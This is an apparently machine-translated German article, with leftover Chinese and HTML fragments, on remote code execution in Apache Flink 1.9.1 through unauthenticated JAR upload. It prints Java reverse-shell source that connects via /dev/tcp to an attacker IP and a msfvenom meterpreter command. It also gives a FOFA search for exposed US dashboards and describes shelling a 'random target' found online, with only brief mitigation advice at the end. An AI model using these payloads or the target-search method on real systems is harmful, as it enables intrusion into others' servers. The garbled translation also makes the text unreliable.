Am 11. November 2019 hat der Sicherheitsingenieur Henry Chen eine Sicherheitslücke offengelegt, die es Apache Flink ermöglicht, JAR-Pakete ohne Autorisierung hochzuladen, was zur Remote-Codeausführung führt. Da auf das Apache Flink Dashboard standardmäßig ohne Authentifizierung zugegriffen werden kann, kann eine Shell erhalten werden, indem ein bösartiges JAR-Paket hochgeladen und die Ausführung von bösartigem Code ausgelöst wird.
<= 1.9.1 (neueste Version)
(1) Java im Voraus installieren (erfordert Java8 oder höher)
(2) Flink herunterladen- 1.9.1
Download-Adresse: https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) Entpacken Sie das komprimierte Paket und laden Sie es herunter:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) Gehen Sie in das dekomprimierte Verzeichnis und in das Bin-Verzeichnis:
(5) Starten Sie den Flink:
./start-cluster.sh
(6) Überprüfung des Browserzugriffs (der Standardport ist 8081):
http://172.26.1.108:8081
Wenn das obige Bild erscheint, ist die Konstruktion erfolgreich.
(7) Richten Sie den automatischen Start beim Booten ein (ich habe hier seit einer Weile Probleme Lange Zeit und ich kann die Quelle /etc /rc.d/rc.local nicht starten, aber Flink wird nach dem Neustart nicht gestartet. Endlich wurde eine Lösung gefunden)
Einstellungen für den automatischen Start beim Booten
JAR-Paket-Produktionsschritte:
(1) Informationen zur Verwendung von Java finden Sie im Artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu Binden Sie die Shell erneut ein. Denken Sie daran, die IP-Adresse und den Port zu ändern: Dann auswählen das entsprechende Java-Projekt und der Exportpfad sowie der Exportdateiname
Bild
wie folgt: Ein JAR-Paket für die Rebound-Shell wird generiert
MSF generiert JAR-Pferd:(1) Verwenden Sie msfvenom, um ein JAR-Pferd zu generieren:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析">(2) Öffnen Sie das Listening-Modul von msf und hören Sie auf Port 9999 (zur Verwendung mit unserem Jar. Der vom Pferd festgelegte Port ist konsistent)<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(3) Nach dem Hochladen des von uns generierten Jar-Pferdes und dem Absenden Darin (siehe Reproduktion unten für diesen Teil des Vorgangs) können Sie sehen, dass wir die Shell erfolgreich erhalten haben:
Lokale Reproduktion: (1) Zugriffsziel:(2) Klicken Sie auf „Neuen Auftrag senden“, um die Seite zum Hochladen des JAR-Pakets zu öffnen:
(3) Klicken Sie auf „Neu hinzufügen“, um das von uns erstellte JAR-Paket auszuwählen:
(4) Überwachen Sie den Port auf unserer Maschine (dem JAR). (5) Klicken Sie auf das Glaspaket, das wir gerade hochgeladen haben: Internetseite:
fofa-Schlüsselwörter:
"Apache-Flink-Dashboard" && Land="US"
(1) Finden Sie ein zufälliges Ziel:
(2) Klicken Sie auf „Neuen Auftrag senden“. Sie können sehen, dass wir damit das JAR hochladen können Pakete
(3) Verwenden Sie die Funktion von flink, um das JAR-Paket hochzuladen, um unser JAR-Paket hochzuladen:
#🎜 🎜## 🎜🎜#(4) Nach dem Hochladen überwachen wir den Port auf unserem VPS
(5) Gehen Sie dann zurück zum Browser, wählen Sie das gerade hochgeladene JAR-Paket aus und Klicken Sie auf „Senden“. Sie können sehen, dass unser VPS die Shell erfolgreich empfangen hat. Empfohlene Einstellungen Firewall-Richtlinie: Erlauben Sie nur Whitelist-IPs den Zugriff auf den Apache-Flink-Dienst und fügen Sie Digest-Authentifizierung für den Dienst im Web-Proxy hinzu (z. B. Apache httpd).
Achten Sie immer auf die offizielle Website und warten Sie auf neue Versionen oder Patch-Updates
Das obige ist der detaillierte Inhalt vonBeispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!